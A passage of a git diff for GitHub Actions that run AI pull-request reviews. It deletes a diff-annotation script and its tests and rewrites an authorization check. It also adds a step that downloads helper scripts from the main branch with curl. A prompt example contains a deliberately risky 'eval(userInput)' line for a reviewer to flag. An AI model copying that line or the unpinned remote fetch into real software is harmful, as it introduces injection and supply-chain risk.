comments - cat > inline_review_prompt.txt << 'EOF' - You are conducting a detailed inline code review for a pull request. - - Your task is to analyze the code changes and generate specific, actionable review comments for individual lines or small sections of code. - - IMPORTANT: The diff below has been annotated with [POS:N] markers showing the exact position for each line. - - Example of how to use the position markers: - ``` - diff --git a/src/app.js b/src/app.js - index abc123..def456 100644 - --- a/src/app.js - +++ b/src/app.js - @@ -10,4 +10,6 @@ function example() { - [POS:1] console.log("context"); - [POS:2] - const old = "remove this"; - [POS:3] + const new = "add this"; - [POS:4] + const risky = eval(userInput); <-- To comment here, use position: 4 - [POS:5] return result; - [POS:6] + console.log("done"); - @@ -20,3 +22,4 @@ function another() { - [POS:1] let x = 1; - [POS:2] + let y = 2; <-- To comment here, use position: 2 - ``` - - To comment on a line, simply use the number from its [POS:N] marker as the position value. - For example: {"path": "src/app.js", "position": 4, "body": "Avoid using eval with user input"} - - Below is the annotated PR diff: - - EOF - - cat pr_diff_annotated.txt >> inline_review_prompt.txt - - cat >> inline_review_prompt.txt << 'EOF' - - Please analyze these changes and provide inline review comments in the following JSON format: - - { - "review_summary": "Overall assessment of the PR", - "comments": [ - { - "path": "path/to/file.js", - "position": 4, - "body": "Brief, specific comment about this line or section" - } - ] - } - - Focus on: - 1. **Critical Issues**: Security vulnerabilities, bugs that will break functionality - 2. **High Priority**: Performance problems, incorrect logic, missing error handling - 3. **Medium Priority**: Code style violations, potential edge cases, unclear code - 4. **Low Priority**: Suggestions for improvement, refactoring opportunities - - Guidelines for comments: - - Be specific and actionable - - Use the [POS:N] number shown in the diff as the position value - - Keep comments concise but informative - - Suggest concrete improvements when pointing out issues - - Only comment on actual problems or important improvements - - Important: - - Output ONLY valid JSON, no markdown code blocks or backticks - - Start your response with { and end with } - - Use the exact number from [POS:N] markers as the position - - Only comment on changed lines (lines with + or - prefix) - - Comment on the most important issues first - - Limit to maximum 20 most relevant comments - EOF - - - name: Run Continue CLI Inline Review - if: env.SKIP_REVIEW != 'true' - shell: bash - env: - CONTINUE_API_KEY: ${{ inputs.continue-api-key }} - run: | - echo "Running Continue CLI for inline review..." - - # Validate required inputs - if [ -z "${{ inputs.continue-org }}" ]; then - echo "Error: continue-org input is required" - exit 1 - fi - - if [ -z "${{ inputs.continue-config }}" ]; then - echo "Error: continue-config input is required" - exit 1 - fi - - # Validate API key - if [ -z "$CONTINUE_API_KEY" ]; then - echo "Warning: CONTINUE_API_KEY environment variable is not set" - # Create fallback review and continue - cat > inline_review.json << 'EOF' - { - "review_summary": "AI review skipped: CONTINUE_API_KEY not configured.", - "comments": [] - } - EOF - echo "SKIP_CLI=true" >> $GITHUB_ENV - else - echo "SKIP_CLI=false" >> $GITHUB_ENV - fi - - # Log the prompt for debugging - echo "===== START REVIEW PROMPT =====" - head -n 50 inline_review_prompt.txt - echo "... [diff content] ..." - tail -n 20 inline_review_prompt.txt - echo "===== END REVIEW PROMPT =====" - - # Test Continue CLI availability - if [ "$SKIP_CLI" != "true" ]; then - echo "Testing Continue CLI..." - if ! cn --version; then - echo "Warning: Continue CLI not found or not working" - cat > inline_review.json << 'EOF' - { - "review_summary": "AI review skipped: Continue CLI installation failed.", - "comments": [] - } - EOF - echo "SKIP_CLI=true" >> $GITHUB_ENV - else - echo "Continue CLI version: $(cn --version)" - fi - fi - - # Run the CLI and capture JSON output with error handling - if [ "$SKIP_CLI" != "true" ]; then - echo "Executing Continue CLI with config: ${{ inputs.continue-org }}/${{ inputs.continue-config }}" - - # Write prompt to temp file for better handling - PROMPT_FILE="/tmp/continue-prompt-$.txt" - cp inline_review_prompt.txt "$PROMPT_FILE" - - # Use timeout to prevent hanging (240 seconds = 4 minutes) - if ! timeout 240 cn --config "${{ inputs.continue-org }}/${{ inputs.continue-config }}" -p "@$PROMPT_FILE" --allow Bash --format json > inline_review_raw.json 2>cli_error.log; then - echo "Warning: Continue CLI command failed" - echo "CLI error log:" - cat cli_error.log - - # Create fallback review - cat > inline_review.json << 'EOF' - { - "review_summary": "AI review failed due to service initialization issues. Please check the Continue API key and configuration.", - "comments": [] - } - EOF - echo "Created fallback review due to CLI failure" - else - # Log the output for debugging - echo "Initial Continue CLI output:" - cat inline_review_raw.json - - # Validate JSON output and use it directly - if ! jq empty inline_review_raw.json 2>/dev/null; then - echo "Warning: Invalid JSON output from Continue CLI, using fallback" - cat > inline_review.json << 'EOF' - { - "review_summary": "AI review completed but failed to parse output correctly.", - "comments": [] - } - EOF - else - # Use the JSON output directly - cp inline_review_raw.json inline_review.json - echo "Review output:" - cat inline_review.json - fi - fi - fi - - - name: Post Inline Review Comments - if: env.SKIP_REVIEW != 'true' - uses: actions/github-script@v7 - with: - script: | - const fs = require('fs'); - - try { - // Read the review output - let reviewData; - try { - const reviewContent = fs.readFileSync('inline_review.json', 'utf8'); - reviewData = JSON.parse(reviewContent); - } catch (parseError) { - console.log('Failed to parse review JSON:', parseError); - reviewData = { - review_summary: 'AI review completed but failed to parse output', - comments: [] - }; - } - - // Get PR number - let prNumber; - if (context.eventName === 'pull_request') { - prNumber = context.payload.pull_request.number; - } else { - prNumber = context.payload.issue.number; - } - - // Get the latest commit SHA - const { data: pr } = await github.rest.pulls.get({ - owner: context.repo.owner, - repo: context.repo.repo, - pull_number: prNumber - }); - - const commitSha = pr.head.sha; - - // Prepare review comments - filter out comments without required fields - const allComments = reviewData.comments || []; - const validComments = allComments.filter(comment => - comment.position && - comment.path && - comment.body && - typeof comment.position === 'number' && - comment.position > 0 - ); - - if (validComments.length < allComments.length) { - console.log(`Filtered out ${allComments.length - validComments.length} comments due to missing/invalid position, path, or body`); - const invalidComments = allComments.filter(c => !validComments.includes(c)); - console.log('Invalid comments:', JSON.stringify(invalidComments, null, 2)); - } - - // Deduplicate comments based on path + position + body - const uniqueComments = []; - const seen = new Set(); - - for (const comment of validComments) { - const key = `${comment.path}:${comment.position}:${comment.body}`; - if (!seen.has(key)) { - seen.add(key); - uniqueComments.push(comment); - } - } - - if (uniqueComments.length < validComments.length) { - console.log(`Filtered out ${validComments.length - uniqueComments.length} duplicate comments (same path + position + body)`); - } - - const comments = uniqueComments.map(comment => ({ - path: comment.path, - position: comment.position, - body: comment.body - })); - - // Debug: Log the positions we're trying to use - console.log('Attempting to post comments with positions:'); - comments.forEach(c => { - console.log(` ${c.path}: position ${c.position}`); - }); - - // Create the review - if (comments.length > 0) { - try { - let reviewBody = `${reviewData.review_summary || 'AI Code Review'}\n\n---\n*💡 To request a new detailed review, comment \`@continue-detailed-review\`*`; - - // Add triggered by note if from comment - if (context.eventName === 'issue_comment') { - reviewBody = `*Triggered by @${context.payload.comment.user.login}'s request*\n\n${reviewBody}`; - } - - await github.rest.pulls.createReview({ - owner: context.repo.owner, - repo: context.repo.repo, - pull_number: prNumber, - commit_id: commitSha, - body: reviewBody, - event: 'COMMENT', - comments: comments - }); - console.log(`Successfully created review with ${comments.length} inline comments`); - } catch (reviewError) { - console.log('Failed to create review:', reviewError.message); - - // Fallback: post as a regular comment if review creation fails - const fallbackBody = `## AI Code Review\n\n${reviewData.review_summary}\n\n` + - `*Failed to post ${comments.length} inline comments. Please review the changes manually.*\n\n` + - `---\n*💡 To request a new detailed review, comment \`@continue-detailed-review\`*`; - - await github.rest.issues.createComment({ - issue_number: prNumber, - owner: context.repo.owner, - repo: context.repo.repo, - body: fallbackBody - }); - } - } else { - // No inline comments, just post the summary - let summaryBody = `## AI Code Review\n\n${reviewData.review_summary}\n\n*No specific line comments generated.*\n\n` + - `---\n*💡 To request a new detailed review, comment \`@continue-detailed-review\`*`; - - // Add triggered by note if from comment - if (context.eventName === 'issue_comment') { - summaryBody = `*Triggered by @${context.payload.comment.user.login}'s request*\n\n${summaryBody}`; - } - - await github.rest.issues.createComment({ - issue_number: prNumber, - owner: context.repo.owner, - repo: context.repo.repo, - body: summaryBody - }); - } - - } catch (error) { - console.log('Failed to post review:', error.message); - console.log('Error details:', error); - } - env: - GITHUB_TOKEN: ${{ github.token }} - - - name: Upload Review Artifacts - if: env.SKIP_REVIEW != 'true' && always() - uses: actions/upload-artifact@v4 - with: - name: inline-review-results - path: | - inline_review_raw.json - inline_review.json - inline_review_prompt.txt - pr_diff.txt - pr_diff_annotated.txt - retention-days: 7 \ No newline at end of file diff --git a/actions/detailed-review/annotate-diff.js b/actions/detailed-review/annotate-diff.js deleted file mode 100644 index b4bdb803e..000000000 --- a/actions/detailed-review/annotate-diff.js +++ /dev/null @@ -1,96 +0,0 @@ -#!/usr/bin/env node - -/** - * Annotates a git diff with GitHub API positions - * - * Takes a raw diff and adds [POS:N] markers with the correct - * GitHub API positions (cumulative, with +1 between hunks) - */ - -const fs = require("fs"); - -function annotateDiff(diffContent) { - const lines = diffContent.split("\n"); - const output = []; - let githubPos = 0; - let inHunk = false; - - for (const line of lines) { - // Handle new file - reset position counter - if (line.startsWith("diff --git")) { - githubPos = 0; - inHunk = false; - output.push(line); - continue; - } - - // Pass through other git headers unchanged - if ( - line.startsWith("index ") || - line.startsWith("---") || - line.startsWith("+++") || - line.startsWith("rename ") || - line.startsWith("similarity ") || - line.startsWith("new file") || - line.startsWith("deleted file") || - line.startsWith("old mode") || - line.startsWith("new mode") || - line.startsWith("Binary files") - ) { - output.push(line); - continue; - } - - // Handle hunk headers - if (line.startsWith("@@")) { - if (inHunk) { - githubPos++; // GitHub's +1 between hunks - } - inHunk = true; - output.push(line); - continue; - } - - // Handle "no newline" marker - it counts as a position but isn't annotated - if (line.startsWith("\\ No newline")) { - if (inHunk) { - githubPos++; // GitHub counts this as a position - } - output.push(line); // Don't annotate it - continue; - } - - // Annotate actual diff lines with GitHub positions - if (inHunk) { - githubPos++; - output.push(`[POS:${githubPos}] ${line}`); - } else { - output.push(line); - } - } - - return output.join("\n"); -} - -// Main -function main() { - // Read diff from stdin or file - let input = ""; - - if (process.argv.length > 2) { - // Read from file - input = fs.readFileSync(process.argv[2], "utf8"); - } else { - // Read from stdin - input = fs.readFileSync(0, "utf8"); - } - - const annotated = annotateDiff(input); - console.log(annotated); -} - -if (require.main === module) { - main(); -} - -module.exports = { annotateDiff }; diff --git a/actions/detailed-review/annotate-diff.test.js b/actions/detailed-review/annotate-diff.test.js deleted file mode 100644 index e13c66068..000000000 --- a/actions/detailed-review/annotate-diff.test.js +++ /dev/null @@ -1,363 +0,0 @@ -const { annotateDiff } = require("./annotate-diff.js"); - -describe("annotateDiff", () => { - test("single file, single hunk", () => { - const diff = `diff --git a/file.js b/file.js -index abc123..def456 100644 ---- a/file.js -+++ b/file.js -@@ -1,3 +1,4 @@ - line1 - line2 -+added line - line3`; - - const result = annotateDiff(diff); - expect(result).toContain("[POS:1] line1"); - expect(result).toContain("[POS:2] line2"); - expect(result).toContain("[POS:3] +added line"); - expect(result).toContain("[POS:4] line3"); - }); - - test("single file, multiple hunks with +1 between", () => { - const diff = `diff --git a/file.js b/file.js -index abc123..def456 100644 ---- a/file.js -+++ b/file.js -@@ -1,3 +1,3 @@ - line1 --old line -+new line - line3 -@@ -10,3 +10,3 @@ - line10 --old line 11 -+new line 11 - line12`; - - const result = annotateDiff(diff); - - // First hunk - expect(result).toContain("[POS:1] line1"); - expect(result).toContain("[POS:2] -old line"); - expect(result).toContain("[POS:3] +new line"); - expect(result).toContain("[POS:4] line3"); - - // Second hunk (should start at 6, because 4 lines + 1 for between hunks) - expect(result).toContain("[POS:6] line10"); - expect(result).toContain("[POS:7] -old line 11"); - expect(result).toContain("[POS:8] +new line 11"); - expect(result).toContain("[POS:9] line12"); - }); - - test("multiple files reset position counter", () => { - const diff = `diff --git a/file1.js b/file1.js -index abc123..def456 100644 ---- a/file1.js -+++ b/file1.js -@@ -1,2 +1,2 @@ - line1 --old -+new -diff --git a/file2.js b/file2.js -index abc123..def456 100644 ---- a/file2.js -+++ b/file2.js -@@ -1,2 +1,2 @@ - first --old2 -+new2`; - - const result = annotateDiff(diff); - - // File 1 - expect(result).toContain("[POS:1] line1"); - expect(result).toContain("[POS:2] -old"); - expect(result).toContain("[POS:3] +new"); - - // File 2 - positions should reset - const file2Section = result.split("diff --git a/file2.js")[1]; - expect(file2Section).toContain("[POS:1] first"); - expect(file2Section).toContain("[POS:2] -old2"); - expect(file2Section).toContain("[POS:3] +new2"); - }); - - test("handles new file", () => { - const diff = `diff --git a/newfile.js b/newfile.js -new file mode 100644 -index 0000000..abc123 ---- /dev/null -+++ b/newfile.js -@@ -0,0 +1,3 @@ -+line1 -+line2 -+line3`; - - const result = annotateDiff(diff); - expect(result).toContain("new file mode 100644"); - expect(result).toContain("[POS:1] +line1"); - expect(result).toContain("[POS:2] +line2"); - expect(result).toContain("[POS:3] +line3"); - }); - - test("handles deleted file", () => { - const diff = `diff --git a/deleted.js b/deleted.js -deleted file mode 100644 -index abc123..0000000 ---- a/deleted.js -+++ /dev/null -@@ -1,3 +0,0 @@ --line1 --line2 --line3`; - - const result = annotateDiff(diff); - expect(result).toContain("deleted file mode 100644"); - expect(result).toContain("[POS:1] -line1"); - expect(result).toContain("[POS:2] -line2"); - expect(result).toContain("[POS:3] -line3"); - }); - - test("handles renamed file with changes", () => { - const diff = `diff --git a/old-name.js b/new-name.js -similarity index 95% -rename from old-name.js -rename to new-name.js -index abc123..def456 100644 ---- a/old-name.js -+++ b/new-name.js -@@ -1,3 +1,3 @@ - line1 --old line -+new line - line3`; - - const result = annotateDiff(diff); - expect(result).toContain("rename from old-name.js"); - expect(result).toContain("rename to new-name.js"); - expect(result).toContain("[POS:1] line1"); - expect(result).toContain("[POS:2] -old line"); - expect(result).toContain("[POS:3] +new line"); - }); - - test("handles no newline at end of file", () => { - const diff = `diff --git a/file.js b/file.js -index abc123..def456 100644 ---- a/file.js -+++ b/file.js -@@ -1,2 +1,2 @@ - line1 --old line -\\ No newline at end of file -+new line -\\ No newline at end of file`; - - const result = annotateDiff(diff); - expect(result).toContain("[POS:1] line1"); - expect(result).toContain("[POS:2] -old line"); - // Position 3 is the first "No newline" marker (not annotated but counted) - expect(result).toContain("\\ No newline at end of file"); - expect(result).toContain("[POS:4] +new line"); // Position 4 due to "No newline" at position 3 - // Position 5 is the second "No newline" marker (not annotated but counted) - expect(result).toContain("\\ No newline at end of file"); - // No newline markers should not get [POS:N] annotations - expect(result).not.toContain("[POS:3] \\"); - expect(result).not.toContain("[POS:5] \\"); - }); - - test("handles file mode changes", () => { - const diff = `diff --git a/script.sh b/script.sh -old mode 100644 -new mode 100755 -index abc123..def456 100644 ---- a/script.sh -+++ b/script.sh -@@ -1,2 +1,2 @@ - #!/bin/bash --echo "old" -+echo "new"`; - - const result = annotateDiff(diff); - expect(result).toContain("old mode 100644"); - expect(result).toContain("new mode 100755"); - expect(result).toContain("[POS:1] #!/bin/bash"); - expect(result).toContain('[POS:2] -echo "old"'); - expect(result).toContain('[POS:3] +echo "new"'); - }); - - test("empty diff returns empty", () => { - const diff = ""; - const result = annotateDiff(diff); - expect(result).toBe(""); - }); - - test("handles binary files - modified", () => { - const diff = `diff --git a/image.png b/image.png -index abc123..def456 100644 -Binary files a/image.png and b/image.png differ`; - - const result = annotateDiff(diff); - expect(result).toContain("diff --git a/image.png b/image.png"); - expect(result).toContain("Binary files a/image.png and b/image.png differ"); - // Binary files line should not be annotated - expect(result).not.toContain("[POS:"); - }); - - test("handles binary files - added", () => { - const diff = `diff --git a/newimage.png b/newimage.png -new file mode 100644 -index 0000000..abc123 -Binary files /dev/null and b/newimage.png differ`; - - const result = annotateDiff(diff); - expect(result).toContain("diff --git a/newimage.png b/newimage.png"); - expect(result).toContain("new file mode 100644"); - expect(result).toContain( - "Binary files /dev/null and b/newimage.png differ", - ); - // Binary files line should not be annotated - expect(result).not.toContain("[POS:"); - }); - - test("handles binary files - deleted", () => { - const diff = `diff --git a/oldimage.png b/oldimage.png -deleted file mode 100644 -index abc123..0000000 -Binary files a/oldimage.png and /dev/null differ`; - - const result = annotateDiff(diff); - expect(result).toContain("diff --git a/oldimage.png b/oldimage.png"); - expect(result).toContain("deleted file mode 100644"); - expect(result).toContain( - "Binary files a/oldimage.png and /dev/null differ", - ); - // Binary files line should not be annotated - expect(result).not.toContain("[POS:"); - }); - - test("handles mixed text and binary files", () => { - const diff = `diff --git a/text.js b/text.js -index abc123..def456 100644 ---- a/text.js -+++ b/text.js -@@ -1,2 +1,2 @@ - line1 --old -+new -diff --git a/image.png b/image.png -index 111111..222222 100644 -Binary files a/image.png and b/image.png differ -diff --git a/another.js b/another.js -index 333333..444444 100644 ---- a/another.js -+++ b/another.js -@@ -1,1 +1,1 @@ --foo -+bar`; - - const result = annotateDiff(diff); - - // First file (text) - expect(result).toContain("[POS:1] line1"); - expect(result).toContain("[POS:2] -old"); - expect(result).toContain("[POS:3] +new"); - - // Second file (binary) - no positions - expect(result).toContain("Binary files a/image.png and b/image.png differ"); - - // Third file (text) - positions reset - const lastFileSection = result.split("diff --git a/another.js")[1]; - expect(lastFileSection).toContain("[POS:1] -foo"); - expect(lastFileSection).toContain("[POS:2] +bar"); - }); - - test("multiple no newline markers accumulate positions", () => { - const diff = `diff --git a/file.js b/file.js -index abc123..def456 100644 ---- a/file.js -+++ b/file.js -@@ -1,3 +1,3 @@ - line1 --old1 -\\ No newline at end of file -+new1 -\\ No newline at end of file -@@ -10,3 +10,3 @@ - line10 --old2 -\\ No newline at end of file -+new2 -\\ No newline at end of file`; - - const result = annotateDiff(diff); - - // First hunk - expect(result).toContain("[POS:1] line1"); - expect(result).toContain("[POS:2] -old1"); - // Position 3 is the first "No newline" marker - expect(result).toContain("[POS:4] +new1"); - // Position 5 is the second "No newline" marker - - // Second hunk (starts at position 7 = 5 + 1 for between hunks + 1) - expect(result).toContain("[POS:7] line10"); - expect(result).toContain("[POS:8] -old2"); - // Position 9 is the third "No newline" marker - expect(result).toContain("[POS:10] +new2"); - // Position 11 is the fourth "No newline" marker - - // Verify "No newline" markers are not annotated - expect(result).not.toContain("[POS:3] \\"); - expect(result).not.toContain("[POS:5] \\"); - expect(result).not.toContain("[POS:9] \\"); - expect(result).not.toContain("[POS:11] \\"); - }); - - test("complex multi-file, multi-hunk diff", () => { - const diff = `diff --git a/src/app.js b/src/app.js -index abc123..def456 100644 ---- a/src/app.js -+++ b/src/app.js -@@ -10,4 +10,5 @@ function example() { - console.log("start"); - const x = 1; -- const y = 2; -+ const y = 3; -+ const z = 4; - return x + y; -@@ -20,3 +21,4 @@ function another() { - let a = 1; - let b = 2; -+ let c = 3; - return a + b; -diff --git a/src/util.js b/src/util.js -index 111111..222222 100644 ---- a/src/util.js -+++ b/src/util.js -@@ -1,2 +1,3 @@ -+import fs from 'fs'; - export function util() { - return true;`; - - const result = annotateDiff(diff); - - // src/app.js - first hunk - expect(result).toContain('[POS:1] console.log("start");'); - expect(result).toContain("[POS:2] const x = 1;"); - expect(result).toContain("[POS:3] - const y = 2;"); - expect(result).toContain("[POS:4] + const y = 3;"); - expect(result).toContain("[POS:5] + const z = 4;"); - expect(result).toContain("[POS:6] return x + y;"); - - // src/app.js - second hunk (7 = 6 + 1 for between hunks) - expect(result).toContain("[POS:8] let a = 1;"); - expect(result).toContain("[POS:9] let b = 2;"); - expect(result).toContain("[POS:10] + let c = 3;"); - expect(result).toContain("[POS:11] return a + b;"); - - // src/util.js - new file, positions reset - const utilSection = result.split("diff --git a/src/util.js")[1]; - expect(utilSection).toContain("[POS:1] +import fs from 'fs';"); - expect(utilSection).toContain("[POS:2] export function util() {"); - expect(utilSection).toContain("[POS:3] return true;"); - }); -}); diff --git a/actions/detailed-review/package.json b/actions/detailed-review/package.json deleted file mode 100644 index 4ca8aee1c..000000000 --- a/actions/detailed-review/package.json +++ /dev/null @@ -1,19 +0,0 @@ -{ - "name": "@continue/pr-review-scripts", - "version": "1.0.0", - "private": true, - "description": "Scripts for Continue PR Review Action", - "scripts": { - "test": "jest", - "test:watch": "jest --watch" - }, - "devDependencies": { - "jest": "^29.7.0" - }, - "jest": { - "testEnvironment": "node", - "testMatch": [ - "**/*.test.js" - ] - } -} diff --git a/actions/general-review/action.yml b/actions/general-review/action.yml index 0743fcba0..109378e53 100644 --- a/actions/general-review/action.yml +++ b/actions/general-review/action.yml @@ -9,8 +9,8 @@ inputs: continue-org: description: "Organization for Continue config" required: true - continue-config: - description: 'Config path to use (e.g., "myorg/review-bot")' + continue-agent: + description: 'Agent path to use (e.g., "myorg/review-bot")' required: true runs: @@ -20,44 +20,89 @@ runs: uses: actions/checkout@v4 - name: Check Authorization - shell: bash - env: - # Only move the dangerous check to env to prevent shell injection - HAS_TRIGGER_PHRASE: ${{ contains(github.event.comment.body, '@continue-general-review') }} - run: | - # Check if this action should run based on event type and user permissions - SHOULD_RUN="false" + id: auth-check + uses: actions/github-script@v7 + with: + script: | + let shouldRun = false; + let skipReason = ''; - if [ "${{ github.event_name }}" = "pull_request" ]; then - # Check if PR is a draft - if [ "${{ github.event.pull_request.draft }}" = "true" ]; then - echo "::notice::Skipping review - PR is a draft" - else - # Check PR author association - AUTHOR_ASSOC="${{ github.event.pull_request.author_association }}" - if [ "$AUTHOR_ASSOC" = "OWNER" ] || [ "$AUTHOR_ASSOC" = "MEMBER" ] || [ "$AUTHOR_ASSOC" = "COLLABORATOR" ]; then - SHOULD_RUN="true" - else - echo "::notice::Skipping review - PR author is not a team member (association: $AUTHOR_ASSOC)" - fi - fi - elif [ "${{ github.event_name }}" = "issue_comment" ]; then - # Check if it's a PR comment with the trigger phrase - if [ "${{ github.event.issue.pull_request }}" != "" ] && [ "$HAS_TRIGGER_PHRASE" = "true" ]; then - COMMENTER_ASSOC="${{ github.event.comment.author_association }}" - if [ "$COMMENTER_ASSOC" = "OWNER" ] || [ "$COMMENTER_ASSOC" = "MEMBER" ] || [ "$COMMENTER_ASSOC" = "COLLABORATOR" ]; then - SHOULD_RUN="true" - else - echo "::notice::Skipping review - Commenter is not a team member (association: $COMMENTER_ASSOC)" - fi - else - echo "::notice::Skipping review - Comment does not contain @continue-general-review trigger, or is not on a PR" - fi - else - echo "::notice::Skipping review - Unsupported event type: ${{ github.event_name }}" - fi + if (context.eventName === 'pull_request') { + // Check if PR is a draft + if (context.payload.pull_request.draft) { + skipReason = 'PR is a draft'; + } else { + // Check if user has write permission (includes admin, maintain, write) + const prAuthor = context.payload.pull_request.user.login; + try { + const { data: permission } = await github.rest.repos.getCollaboratorPermissionLevel({ + owner: context.repo.owner, + repo: context.repo.repo, + username: prAuthor + }); + + const allowedPermissions = ['admin', 'maintain', 'write']; + if (allowedPermissions.includes(permission.permission)) { + shouldRun = true; + console.log(`PR author @${prAuthor} has ${permission.permission} permission`); + } else { + skipReason = `PR author @${prAuthor} does not have write permission (has: ${permission.permission})`; + } + } catch (error) { + // If API call fails, fall back to checking author_association + const association = context.payload.pull_request.author_association; + const allowedAssociations = ['OWNER', 'MEMBER', 'COLLABORATOR']; + if (allowedAssociations.includes(association)) { + shouldRun = true; + console.log(`PR author @${prAuthor} association: ${association}`); + } else { + skipReason = `PR author @${prAuthor} is not a team member (association: ${association})`; + } + } + } + } else if (context.eventName === 'issue_comment') { + // Check if it's a PR comment with the trigger phrase + const hasTrigger = context.payload.comment.body.includes('@continue-review'); + if (context.payload.issue.pull_request && hasTrigger) { + const commenter = context.payload.comment.user.login; + try { + const { data: permission } = await github.rest.repos.getCollaboratorPermissionLevel({ + owner: context.repo.owner, + repo: context.repo.repo, + username: commenter + }); + + const allowedPermissions = ['admin', 'maintain', 'write']; + if (allowedPermissions.includes(permission.permission)) { + shouldRun = true; + console.log(`Commenter @${commenter} has ${permission.permission} permission`); + } else { + skipReason = `Commenter @${commenter} does not have write permission (has: ${permission.permission})`; + } + } catch (error) { + // If API call fails, fall back to checking author_association + const association = context.payload.comment.author_association; + const allowedAssociations = ['OWNER', 'MEMBER', 'COLLABORATOR']; + if (allowedAssociations.includes(association)) { + shouldRun = true; + console.log(`Commenter @${commenter} association: ${association}`); + } else { + skipReason = `Commenter @${commenter} is not a team member (association: ${association})`; + } + } + } else { + skipReason = 'Comment does not contain @continue-review trigger, or is not on a PR'; + } + } else { + skipReason = `Unsupported event type: ${context.eventName}`; + } - echo "SHOULD_RUN=$SHOULD_RUN" >> $GITHUB_ENV + if (skipReason) { + core.notice(`Skipping review - ${skipReason}`); + } + + core.exportVariable('SHOULD_RUN', shouldRun.toString()); + return shouldRun; - name: Setup Node.js if: env.SHOULD_RUN == 'true' @@ -68,13 +113,138 @@ runs: - name: Install Continue CLI if: env.SHOULD_RUN == 'true' shell: bash - run: npm install -g @continuedev/cli@1.4.30 + run: npm install -g @continuedev/cli@latest + + - name: Setup Action Scripts + if: env.SHOULD_RUN == 'true' + shell: bash + run: | + # Create directory for scripts + mkdir -p .continue-action-scripts + + # Check if we're running in the Continue repo itself (scripts exist locally) + if [ -f "actions/general-review/scripts/buildPrompt.js" ] && [ -f "actions/general-review/scripts/writeMarkdown.js" ]; then + echo "Running in Continue repo - using local scripts from current checkout" + cp actions/general-review/scripts/buildPrompt.js .continue-action-scripts/buildPrompt.js + cp actions/general-review/scripts/writeMarkdown.js .continue-action-scripts/writeMarkdown.js + else + echo "Running in external repo - downloading scripts from Continue repo" + + # Download scripts from Continue repo + echo "Downloading buildPrompt.js..." + curl -sSL https://raw.githubusercontent.com/continuedev/continue/main/actions/general-review/scripts/buildPrompt.js \ + -o .continue-action-scripts/buildPrompt.js + + echo "Downloading writeMarkdown.js..." + curl -sSL https://raw.githubusercontent.com/continuedev/continue/main/actions/general-review/scripts/writeMarkdown.js \ + -o .continue-action-scripts/writeMarkdown.js + fi + + # Verify scripts exist + if [ ! -f .continue-action-scripts/buildPrompt.js ]; then + echo "Error: buildPrompt.js not found" + exit 1 + fi + + if [ ! -f .continue-action-scripts/writeMarkdown.js ]; then + echo "Error: writeMarkdown.js not found" + exit 1 + fi + + echo "Scripts ready:" + ls -lh .continue-action-scripts/ + + - name: Post Initial Comment + if: env.SHOULD_RUN == 'true' + id: initial-comment + uses: actions/github-script@v7 + with: + script: | + const marker = ''; + + // Get PR number based on event type + let prNumber; + if (context.eventName === 'pull_request') { + prNumber = context.payload.pull_request.number; + } else { + // For issue_comment event + prNumber = context.payload.issue.number; + } + + // Check for existing comment + const { data: comments } = await github.rest.issues.listComments({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: prNumber, + per_page: 100 + }); + + // Find existing Continue review comment + const existingComment = comments + .filter(c => c.body && c.body.includes(marker)) + .sort((a, b) => new Date(b.created_at).getTime() - new Date(a.created_at).getTime())[0]; + + // Get workflow run URL + const workflowRunUrl = `https://github.com/${context.repo.owner}/${context.repo.repo}/actions/runs/${context.runId}`; + + // Create initial "review in progress" message + let initialMessage = `${marker}\n**🔄 Review In Progress**\n\n`; + + if (context.eventName === 'issue_comment') { + initialMessage = `${marker}\n**🔄 Review In Progress**\n\n*Triggered by @${context.payload.comment.user.login}'s request*\n\n`; + } + + initialMessage += `Continue AI is analyzing the code changes...\n\n`; + initialMessage += `📊 **Review Scope:**\n`; + initialMessage += `- Repository: ${context.repo.owner}/${context.repo.repo}\n`; + initialMessage += `- PR #${prNumber}\n\n`; + initialMessage += `⏱️ This typically takes 1-2 minutes.\n\n`; + initialMessage += `[View live progress →](${workflowRunUrl})\n\n`; + initialMessage += `---\n`; + + if (existingComment) { + // Check if comment is less than 1 hour old + const commentAge = Date.now() - new Date(existingComment.created_at).getTime(); + const oneHour = 60 * 60 * 1000; + + if (commentAge < oneHour) { + // Update existing comment if less than 1 hour old + await github.rest.issues.updateComment({ + owner: context.repo.owner, + repo: context.repo.repo, + comment_id: existingComment.id, + body: initialMessage + }); + console.log(`Updated existing comment ${existingComment.id} to show review in progress`); + core.setOutput('comment_id', existingComment.id); + } else { + // Create new comment if older than 1 hour (preserve history) + const { data: comment } = await github.rest.issues.createComment({ + issue_number: prNumber, + owner: context.repo.owner, + repo: context.repo.repo, + body: initialMessage + }); + console.log(`Created new comment ${comment.id} showing review in progress`); + core.setOutput('comment_id', comment.id); + } + } else { + // Create new comment + const { data: comment } = await github.rest.issues.createComment({ + issue_number: prNumber, + owner: context.repo.owner, + repo: context.repo.repo, + body: initialMessage + }); + console.log(`Created new comment ${comment.id} on PR #${prNumber}`); + core.setOutput('comment_id', comment.id); + } - name: Build PR Review Prompt if: env.SHOULD_RUN == 'true' shell: bash env: - GH_TOKEN: ${{ github.token }} + GITHUB_TOKEN: ${{ github.token }} run: | # Get PR number based on event type if [ "${{ github.event_name }}" = "pull_request" ]; then @@ -84,64 +254,11 @@ runs: PR_NUMBER="${{ github.event.issue.number }}" fi - # Get PR diff - gh pr diff $PR_NUMBER > pr_diff.txt - - # Create review prompt - cat > review_prompt.txt << 'EOF' - You are conducting a code review for a pull request. Below is the git diff showing all the changes: - - EOF - - echo "--- PR DIFF START ---" >> review_prompt.txt - cat pr_diff.txt >> review_prompt.txt - echo "--- PR DIFF END ---" >> review_prompt.txt - - cat >> review_prompt.txt << 'EOF' - - Please analyze these changes and provide a comprehensive code review. Consider: - - 1. **Code Quality**: Are there any bugs, performance issues, or code smells? - 2. **Best Practices**: Does the code follow established patterns and conventions? - 3. **Security**: Are there any potential security vulnerabilities? - 4. **Testing**: Are appropriate tests included or updated? - 5. **Documentation**: Is documentation adequate for the changes? - 6. **Architecture**: Do the changes fit well with the existing codebase structure? - - You can use the available tools to explore the codebase and understand context better. - - Format your response as a markdown code review with the following structure: - - ## Code Review Summary - - ### ✅ Strengths - - **[Aspect]**: [Description of what was done well] - - ### ⚠️ Issues Found - - Only include the severity subheaders below if you actually found issues at that level: - - #### Critical - - **[Issue Title]**: [Description of critical issues that must be fixed before merging] - - #### High - - **[Issue Title]**: [Description of high-priority issues that should be fixed] - - #### Medium - - **[Issue Title]**: [Description of issues that should be addressed] - - #### Low - - **[Issue Title]**: 